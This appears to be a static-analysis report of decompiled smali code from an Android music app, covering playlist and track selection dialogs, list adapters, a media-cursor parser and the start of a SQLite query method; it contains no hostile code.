  • android.app.AlertDialog$Builder.setPositiveButton
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.show
  • android.app.AlertDialog.getButton
  • android.widget.Button.setOnClickListener
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
2new-instance v0, Landroid/app/AlertDialog$Builder;
4invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
5move-result-object v3
7invoke-direct {v0, v3}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
8new-instance v3, Lcom/twdlphqg/app/dals/PlaylistDal;
10invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
11move-result-object v4
13invoke-virtual {v4}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
14move-result-object v4
16invoke-direct {v3, v4}, Lcom/twdlphqg/app/dals/PlaylistDal;-><init>(Landroid/content/Context;)V
17iput-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlistDal:Lcom/twdlphqg/app/dals/PlaylistDal;
19iget-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlistDal:Lcom/twdlphqg/app/dals/PlaylistDal;
21invoke-virtual {v3}, Lcom/twdlphqg/app/dals/PlaylistDal;->getAllPlayList()Ljava/util/ArrayList;
22move-result-object v3
23iput-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlists:Ljava/util/ArrayList;
24new-instance v3, Ljava/util/ArrayList;
26invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
27iput-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->selectedPlaylists:Ljava/util/ArrayList;
28new-instance v3, Lcom/twdlphqg/app/adapter/PlaylistAdapter;
30invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
31move-result-object v4
33invoke-virtual {v4}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
34move-result-object v4
35const v5, 0x7f030022
37iget-object v6, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlists:Ljava/util/ArrayList;
39invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
40move-result-object v7
42invoke-virtual {v7}, Landroid/support/v4/app/FragmentActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
43move-result-object v7
45invoke-direct {v3, v4, v5, v6, v7}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;-><init>(Landroid/content/Context;ILjava/util/ArrayList;Landroid/support/v4/app/FragmentManager;)V
  • Data flow analysis:
    • p1: 2130903074
46iput-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlistAdapter:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
47new-instance v2, Landroid/widget/ListView;
49invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
50move-result-object v3
52invoke-direct {v2, v3}, Landroid/widget/ListView;-><init>(Landroid/content/Context;)V
54iget-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->playlistAdapter:Lcom/twdlphqg/app/adapter/PlaylistAdapter;
56invoke-virtual {v2, v3}, Landroid/widget/ListView;->setAdapter(Landroid/widget/ListAdapter;)V
57const/4 v3, 0x0
59invoke-virtual {v2, v3}, Landroid/widget/ListView;->setItemsCanFocus(Z)V
  • Data flow analysis:
    • itemsCanFocus: 0
60const/4 v3, 0x2
62invoke-virtual {v2, v3}, Landroid/widget/ListView;->setChoiceMode(I)V
  • Data flow analysis:
    • choiceMode: 2
63new-instance v3, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;
65invoke-direct {v3, p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$1;-><init>(Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;)V
67invoke-virtual {v2, v3}, Landroid/widget/ListView;->setOnItemClickListener(Landroid/widget/AdapterView$OnItemClickListener;)V
69invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;->getResources()Landroid/content/res/Resources;
70move-result-object v3
71const v4, 0x7f0b0022
73invoke-virtual {v3, v4}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427362
74move-result-object v3
76invoke-virtual {v0, v3}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
77move-result-object v3
79invoke-virtual {v3, v2}, Landroid/app/AlertDialog$Builder;->setView(Landroid/view/View;)Landroid/app/AlertDialog$Builder;
80move-result-object v3
81const v4, 0x7f0b0019
82const/4 v5, 0x0
84invoke-virtual {v3, v4, v5}, Landroid/app/AlertDialog$Builder;->setPositiveButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: 2131427353
    • p1: 0
85move-result-object v3
86const v4, 0x7f0b001a
87new-instance v5, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$2;
89invoke-direct {v5, p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$2;-><init>(Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;)V
91invoke-virtual {v3, v4, v5}, Landroid/app/AlertDialog$Builder;->setNegativeButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: 2131427354
93invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
94move-result-object v1
96invoke-virtual {v1}, Landroid/app/AlertDialog;->show()V
97const/4 v3, -0x1
99invoke-virtual {v1, v3}, Landroid/app/AlertDialog;->getButton(I)Landroid/widget/Button;
100move-result-object v3
101new-instance v4, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$3;
103invoke-direct {v4, p0}, Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment$3;-><init>(Lcom/twdlphqg/app/fragments/CustomSelectPlaylistDialogFragment;)V
105invoke-virtual {v3, v4}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
106return-object v1
APIs
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.getActivity
  • android.app.AlertDialog$Builder.<init>
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • java.util.ArrayList.<init>
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.getActivity
  • android.support.v4.app.FragmentActivity.getApplicationContext
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.getActivity
  • android.support.v4.app.FragmentActivity.getSupportFragmentManager
  • com.twdlphqg.app.adapter.TrackAdapter.<init>
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.getActivity
  • android.widget.ListView.<init>
  • android.widget.ListView.setAdapter
  • android.widget.ListView.setItemsCanFocus
  • android.widget.ListView.setChoiceMode
  • android.widget.ListView.setOnItemClickListener
  • com.twdlphqg.app.fragments.CustomSelectTrackDialogFragment.getResources
  • android.content.res.Resources.getString
  • android.app.AlertDialog$Builder.setTitle
  • android.app.AlertDialog$Builder.setView
  • android.app.AlertDialog$Builder.setPositiveButton
  • android.app.AlertDialog$Builder.setNegativeButton
  • android.app.AlertDialog$Builder.create
  • android.app.AlertDialog.show
  • android.app.AlertDialog.getButton
  • android.widget.Button.setOnClickListener
Position Instruction Meta Information
0.param p1, "savedInstanceState" # Landroid/os/Bundle;
1.prologue
2new-instance v0, Landroid/app/AlertDialog$Builder;
4invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
5move-result-object v3
7invoke-direct {v0, v3}, Landroid/app/AlertDialog$Builder;-><init>(Landroid/content/Context;)V
8new-instance v3, Lcom/twdlphqg/app/dals/TrackDal;
10invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
11move-result-object v4
13invoke-virtual {v4}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
14move-result-object v4
16invoke-direct {v3, v4}, Lcom/twdlphqg/app/dals/TrackDal;-><init>(Landroid/content/Context;)V
17iput-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
19iget-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->trackDal:Lcom/twdlphqg/app/dals/TrackDal;
21invoke-virtual {v3}, Lcom/twdlphqg/app/dals/TrackDal;->getTracksOnMDS()Ljava/util/ArrayList;
22move-result-object v3
23iput-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->tracks:Ljava/util/ArrayList;
24new-instance v3, Ljava/util/ArrayList;
26invoke-direct {v3}, Ljava/util/ArrayList;-><init>()V
27iput-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->selectedTracks:Ljava/util/ArrayList;
28new-instance v3, Lcom/twdlphqg/app/adapter/TrackAdapter;
30invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
31move-result-object v4
33invoke-virtual {v4}, Landroid/support/v4/app/FragmentActivity;->getApplicationContext()Landroid/content/Context;
34move-result-object v4
35const v5, 0x7f030027
37iget-object v6, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->tracks:Ljava/util/ArrayList;
39invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
40move-result-object v7
42invoke-virtual {v7}, Landroid/support/v4/app/FragmentActivity;->getSupportFragmentManager()Landroid/support/v4/app/FragmentManager;
43move-result-object v7
45invoke-direct {v3, v4, v5, v6, v7}, Lcom/twdlphqg/app/adapter/TrackAdapter;-><init>(Landroid/content/Context;ILjava/util/ArrayList;Landroid/support/v4/app/FragmentManager;)V
  • Data flow analysis:
    • p1: 2130903079
46iput-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->trackAdapter:Lcom/twdlphqg/app/adapter/TrackAdapter;
47new-instance v2, Landroid/widget/ListView;
49invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->getActivity()Landroid/support/v4/app/FragmentActivity;
50move-result-object v3
52invoke-direct {v2, v3}, Landroid/widget/ListView;-><init>(Landroid/content/Context;)V
54iget-object v3, p0, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->trackAdapter:Lcom/twdlphqg/app/adapter/TrackAdapter;
56invoke-virtual {v2, v3}, Landroid/widget/ListView;->setAdapter(Landroid/widget/ListAdapter;)V
57const/4 v3, 0x0
59invoke-virtual {v2, v3}, Landroid/widget/ListView;->setItemsCanFocus(Z)V
  • Data flow analysis:
    • itemsCanFocus: 0
60const/4 v3, 0x2
62invoke-virtual {v2, v3}, Landroid/widget/ListView;->setChoiceMode(I)V
  • Data flow analysis:
    • choiceMode: 2
63new-instance v3, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;
65invoke-direct {v3, p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$1;-><init>(Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;)V
67invoke-virtual {v2, v3}, Landroid/widget/ListView;->setOnItemClickListener(Landroid/widget/AdapterView$OnItemClickListener;)V
69invoke-virtual {p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;->getResources()Landroid/content/res/Resources;
70move-result-object v3
71const v4, 0x7f0b0021
73invoke-virtual {v3, v4}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String;
  • Data flow analysis:
    • id: 2131427361
74move-result-object v3
76invoke-virtual {v0, v3}, Landroid/app/AlertDialog$Builder;->setTitle(Ljava/lang/CharSequence;)Landroid/app/AlertDialog$Builder;
77move-result-object v3
79invoke-virtual {v3, v2}, Landroid/app/AlertDialog$Builder;->setView(Landroid/view/View;)Landroid/app/AlertDialog$Builder;
80move-result-object v3
81const v4, 0x7f0b0019
82const/4 v5, 0x0
84invoke-virtual {v3, v4, v5}, Landroid/app/AlertDialog$Builder;->setPositiveButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: 2131427353
    • p1: 0
85move-result-object v3
86const v4, 0x7f0b001a
87new-instance v5, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$2;
89invoke-direct {v5, p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$2;-><init>(Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;)V
91invoke-virtual {v3, v4, v5}, Landroid/app/AlertDialog$Builder;->setNegativeButton(ILandroid/content/DialogInterface$OnClickListener;)Landroid/app/AlertDialog$Builder;
  • Data flow analysis:
    • p0: 2131427354
93invoke-virtual {v0}, Landroid/app/AlertDialog$Builder;->create()Landroid/app/AlertDialog;
94move-result-object v1
96invoke-virtual {v1}, Landroid/app/AlertDialog;->show()V
97const/4 v3, -0x1
99invoke-virtual {v1, v3}, Landroid/app/AlertDialog;->getButton(I)Landroid/widget/Button;
100move-result-object v3
101new-instance v4, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$3;
103invoke-direct {v4, p0}, Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment$3;-><init>(Lcom/twdlphqg/app/fragments/CustomSelectTrackDialogFragment;)V
105invoke-virtual {v3, v4}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V
106return-object v1
APIs
  • android.content.Context.getSystemService
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.adapter.TrackAdapter.getItem
  • android.view.View.findViewById
  • android.widget.TextView.setText
  • android.view.View.findViewById
  • android.widget.TextView.setText
  • android.view.View.findViewById
  • java.lang.Integer.valueOf
  • android.widget.Spinner.setTag
  • android.content.Context.getResources
  • android.content.res.Resources.getStringArray
  • com.twdlphqg.app.adapter.DropdownMenuAdapter.<init>
  • com.twdlphqg.app.adapter.DropdownMenuAdapter.setDropDownViewResource
  • android.widget.Spinner.setAdapter
  • android.widget.Spinner.setOnItemSelectedListener
  • android.view.View.findViewById
  • java.lang.Boolean.booleanValue
  • android.widget.CheckBox.setChecked
Strings
  • layout_inflater
Position Instruction Meta Information
0.param p1, "position" # I
1.param p2, "convertView" # Landroid/view/View;
2.param p3, "parent" # Landroid/view/ViewGroup;
3.prologue
4move-object v6, p2
5if-nez v6, :cond_14
7iget-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
9const-string v8, "layout_inflater"
11invoke-virtual {v7, v8}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: layout_inflater
12move-result-object v3
13check-cast v3, Landroid/view/LayoutInflater;
14iget v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->itemLayoutResource:I
15const/4 v8, 0x0
17invoke-virtual {v3, v7, v8}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
  • Data flow analysis:
    • p1: 0
18move-result-object v6
19cond_14:
20invoke-virtual {p0, p1}, Lcom/twdlphqg/app/adapter/TrackAdapter;->getItem(I)Ljava/lang/Object;
21move-result-object v5
22check-cast v5, Lcom/twdlphqg/app/models/Track;
23const v7, 0x7f0a002b
25invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361835
26move-result-object v4
27check-cast v4, Landroid/widget/TextView;
29invoke-virtual {v5}, Lcom/twdlphqg/app/models/Track;->getTitle()Ljava/lang/String;
30move-result-object v7
32invoke-virtual {v4, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
33const v7, 0x7f0a0052
35invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361874
36move-result-object v1
37check-cast v1, Landroid/widget/TextView;
39invoke-virtual {v5}, Lcom/twdlphqg/app/models/Track;->getArtist()Ljava/lang/String;
40move-result-object v7
42invoke-virtual {v1, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
43const v7, 0x7f0a004e
45invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361870
46move-result-object v7
47check-cast v7, Landroid/widget/Spinner;
48iput-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->spinner:Landroid/widget/Spinner;
50iget-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->spinner:Landroid/widget/Spinner;
51if-eqz v7, :cond_7d
53iget-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->spinner:Landroid/widget/Spinner;
55invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
56move-result-object v8
58invoke-virtual {v7, v8}, Landroid/widget/Spinner;->setTag(Ljava/lang/Object;)V
60iget-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
62invoke-virtual {v7}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
63move-result-object v7
64const v8, 0x7f0d0001
66invoke-virtual {v7, v8}, Landroid/content/res/Resources;->getStringArray(I)[Ljava/lang/String;
  • Data flow analysis:
    • id: 2131558401
67move-result-object v7
68iput-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->menus:[Ljava/lang/String;
69new-instance v0, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;
71iget-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->context:Landroid/content/Context;
72const v8, 0x1090003
74iget-object v9, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->menus:[Ljava/lang/String;
76invoke-direct {v0, v7, v8, v9}, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;-><init>(Landroid/content/Context;I[Ljava/lang/String;)V
  • Data flow analysis:
    • p1: 17367043
77const v7, 0x7f03001a
79invoke-virtual {v0, v7}, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;->setDropDownViewResource(I)V
  • Data flow analysis:
    • resource: 2130903066
81iget-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->spinner:Landroid/widget/Spinner;
83invoke-virtual {v7, v0}, Landroid/widget/Spinner;->setAdapter(Landroid/widget/SpinnerAdapter;)V
85iget-object v7, p0, Lcom/twdlphqg/app/adapter/TrackAdapter;->spinner:Landroid/widget/Spinner;
87invoke-virtual {v7, p0}, Landroid/widget/Spinner;->setOnItemSelectedListener(Landroid/widget/AdapterView$OnItemSelectedListener;)V
88cond_7d: const v7, 0x7f0a004f
90invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361871
91move-result-object v2
92check-cast v2, Landroid/widget/CheckBox;
93if-eqz v2, :cond_96
95invoke-virtual {v5}, Lcom/twdlphqg/app/models/Track;->getChecked()Ljava/lang/Boolean;
96move-result-object v7
98invoke-virtual {v7}, Ljava/lang/Boolean;->booleanValue()Z
99move-result v7
100if-eqz v7, :cond_97
101const/4 v7, 0x1
103invoke-virtual {v2, v7}, Landroid/widget/CheckBox;->setChecked(Z)V
  • Data flow analysis:
    • checked: 1
104cond_96: return-object v6
105cond_97: const/4 v7, 0x0
107invoke-virtual {v2, v7}, Landroid/widget/CheckBox;->setChecked(Z)V
  • Data flow analysis:
    • checked: 0
108goto/16 :goto_96
Cross References
APIs
  • java.util.ArrayList.<init>
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getString
  • java.lang.Integer.parseInt
  • java.util.ArrayList.add
  • android.database.Cursor.moveToNext
  • android.database.Cursor.close
Strings
  • _id
  • artist
  • title
  • _data
  • album_id
Position Instruction Meta Information
0.param p1, "cursor" # Landroid/database/Cursor;
1.annotation system Ldalvik/annotation/Signature;
2value = {
3"(",
4"Landroid/database/Cursor;",
5")",
6"Ljava/util/ArrayList",
7"<",
8"Lcom/twdlphqg/app/models/Track;",
9">;"
10}
11.end annotation
12.prologue
13new-instance v1, Ljava/util/ArrayList;
15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
16if-eqz p1, :cond_63
18invoke-interface {p1}, Landroid/database/Cursor;->moveToFirst()Z
19move-result v2
20if-eqz v2, :cond_63
21cond_d: new-instance v0, Lcom/twdlphqg/app/models/Track;
23invoke-direct {v0}, Lcom/twdlphqg/app/models/Track;-><init>()V
25const-string v2, "_id"
27invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: _id
28move-result v2
30invoke-interface {p1, v2}, Landroid/database/Cursor;->getInt(I)I
31move-result v2
33invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setId(I)V
35const-string v2, "artist"
37invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: artist
38move-result v2
40invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
41move-result-object v2
43invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setArtist(Ljava/lang/String;)V
45const-string v2, "title"
47invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: title
48move-result v2
50invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
51move-result-object v2
53invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setTitle(Ljava/lang/String;)V
55const-string v2, "_data"
57invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: _data
58move-result v2
60invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
61move-result-object v2
63invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setPath(Ljava/lang/String;)V
65const-string v2, "album_id"
67invoke-interface {p1, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: album_id
68move-result v2
70invoke-interface {p1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
71move-result-object v2
73invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
74move-result v2
76invoke-virtual {v0, v2}, Lcom/twdlphqg/app/models/Track;->setAlbumId(I)V
78invoke-virtual {v1, v0}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
80invoke-interface {p1}, Landroid/database/Cursor;->moveToNext()Z
81move-result v2
82if-nez v2, :cond_d
84invoke-interface {p1}, Landroid/database/Cursor;->close()V
85cond_63: return-object v1
APIs
  • android.content.Context.getSystemService
  • android.view.LayoutInflater.inflate
  • com.twdlphqg.app.adapter.PlaylistAdapter.getItem
  • android.view.View.findViewById
  • android.widget.TextView.setText
  • android.view.View.findViewById
  • java.lang.Integer.valueOf
  • android.widget.Spinner.setTag
  • android.content.Context.getResources
  • android.content.res.Resources.getStringArray
  • com.twdlphqg.app.adapter.DropdownMenuAdapter.<init>
  • com.twdlphqg.app.adapter.DropdownMenuAdapter.setDropDownViewResource
  • android.widget.Spinner.setAdapter
  • android.widget.Spinner.setOnItemSelectedListener
  • android.view.View.findViewById
  • java.lang.Boolean.booleanValue
  • android.widget.CheckBox.setChecked
Strings
  • layout_inflater
Position Instruction Meta Information
0.param p1, "position" # I
1.param p2, "convertView" # Landroid/view/View;
2.param p3, "parent" # Landroid/view/ViewGroup;
3.prologue
4move-object v6, p2
5if-nez v6, :cond_14
7iget-object v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->context:Landroid/content/Context;
9const-string v8, "layout_inflater"
11invoke-virtual {v7, v8}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Data flow analysis:
    • name: layout_inflater
12move-result-object v2
13check-cast v2, Landroid/view/LayoutInflater;
14iget v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->itemLayoutResource:I
15const/4 v8, 0x0
17invoke-virtual {v2, v7, v8}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View;
  • Data flow analysis:
    • p1: 0
18move-result-object v6
19cond_14:
20invoke-virtual {p0, p1}, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->getItem(I)Ljava/lang/Object;
21move-result-object v4
22check-cast v4, Lcom/twdlphqg/app/models/Playlist;
23const v7, 0x7f0a004d
25invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361869
26move-result-object v5
27check-cast v5, Landroid/widget/TextView;
29invoke-virtual {v4}, Lcom/twdlphqg/app/models/Playlist;->getName()Ljava/lang/String;
30move-result-object v7
32invoke-virtual {v5, v7}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
33const v7, 0x7f0a004e
35invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361870
36move-result-object v7
37check-cast v7, Landroid/widget/Spinner;
38iput-object v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->spinner:Landroid/widget/Spinner;
40iget-object v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->spinner:Landroid/widget/Spinner;
41if-eqz v7, :cond_68
43iget-object v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->spinner:Landroid/widget/Spinner;
45invoke-static {p1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
46move-result-object v8
48invoke-virtual {v7, v8}, Landroid/widget/Spinner;->setTag(Ljava/lang/Object;)V
50iget-object v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->context:Landroid/content/Context;
52invoke-virtual {v7}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
53move-result-object v7
54const/high16 v8, 0x7f0d0000
56invoke-virtual {v7, v8}, Landroid/content/res/Resources;->getStringArray(I)[Ljava/lang/String;
  • Data flow analysis:
    • id: 2131558400
57move-result-object v3
58new-instance v0, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;
60iget-object v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->context:Landroid/content/Context;
61const v8, 0x1090003
63invoke-direct {v0, v7, v8, v3}, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;-><init>(Landroid/content/Context;I[Ljava/lang/String;)V
  • Data flow analysis:
    • p1: 17367043
64const v7, 0x7f03001a
66invoke-virtual {v0, v7}, Lcom/twdlphqg/app/adapter/DropdownMenuAdapter;->setDropDownViewResource(I)V
  • Data flow analysis:
    • resource: 2130903066
68iget-object v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->spinner:Landroid/widget/Spinner;
70invoke-virtual {v7, v0}, Landroid/widget/Spinner;->setAdapter(Landroid/widget/SpinnerAdapter;)V
72iget-object v7, p0, Lcom/twdlphqg/app/adapter/PlaylistAdapter;->spinner:Landroid/widget/Spinner;
74invoke-virtual {v7, p0}, Landroid/widget/Spinner;->setOnItemSelectedListener(Landroid/widget/AdapterView$OnItemSelectedListener;)V
75cond_68: const v7, 0x7f0a004f
77invoke-virtual {v6, v7}, Landroid/view/View;->findViewById(I)Landroid/view/View;
  • Data flow analysis:
    • id: 2131361871
78move-result-object v1
79check-cast v1, Landroid/widget/CheckBox;
80if-eqz v1, :cond_81
82invoke-virtual {v4}, Lcom/twdlphqg/app/models/Playlist;->getChecked()Ljava/lang/Boolean;
83move-result-object v7
85invoke-virtual {v7}, Ljava/lang/Boolean;->booleanValue()Z
86move-result v7
87if-eqz v7, :cond_82
88const/4 v7, 0x1
90invoke-virtual {v1, v7}, Landroid/widget/CheckBox;->setChecked(Z)V
  • Data flow analysis:
    • checked: 1
91cond_81: return-object v6
92cond_82: const/4 v7, 0x0
94invoke-virtual {v1, v7}, Landroid/widget/CheckBox;->setChecked(Z)V
  • Data flow analysis:
    • checked: 0
95goto/16 :goto_81
Cross References
APIs
  • android.content.ContentValues.<init>
  • android.content.ContentValues.put
  • android.database.sqlite.SQLiteDatabase.insert
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.database.sqlite.SQLiteDatabase.rawQuery
  • android.database.Cursor.moveToFirst
  • android.database.Cursor.getColumnIndex
  • android.database.Cursor.getInt
Strings
  • SELECT
  • FROM
  • ORDER BY
  • DESC LIMIT 0,1
Position Instruction Meta Information
0.param p1, "name" # Ljava/lang/String;
1.prologue
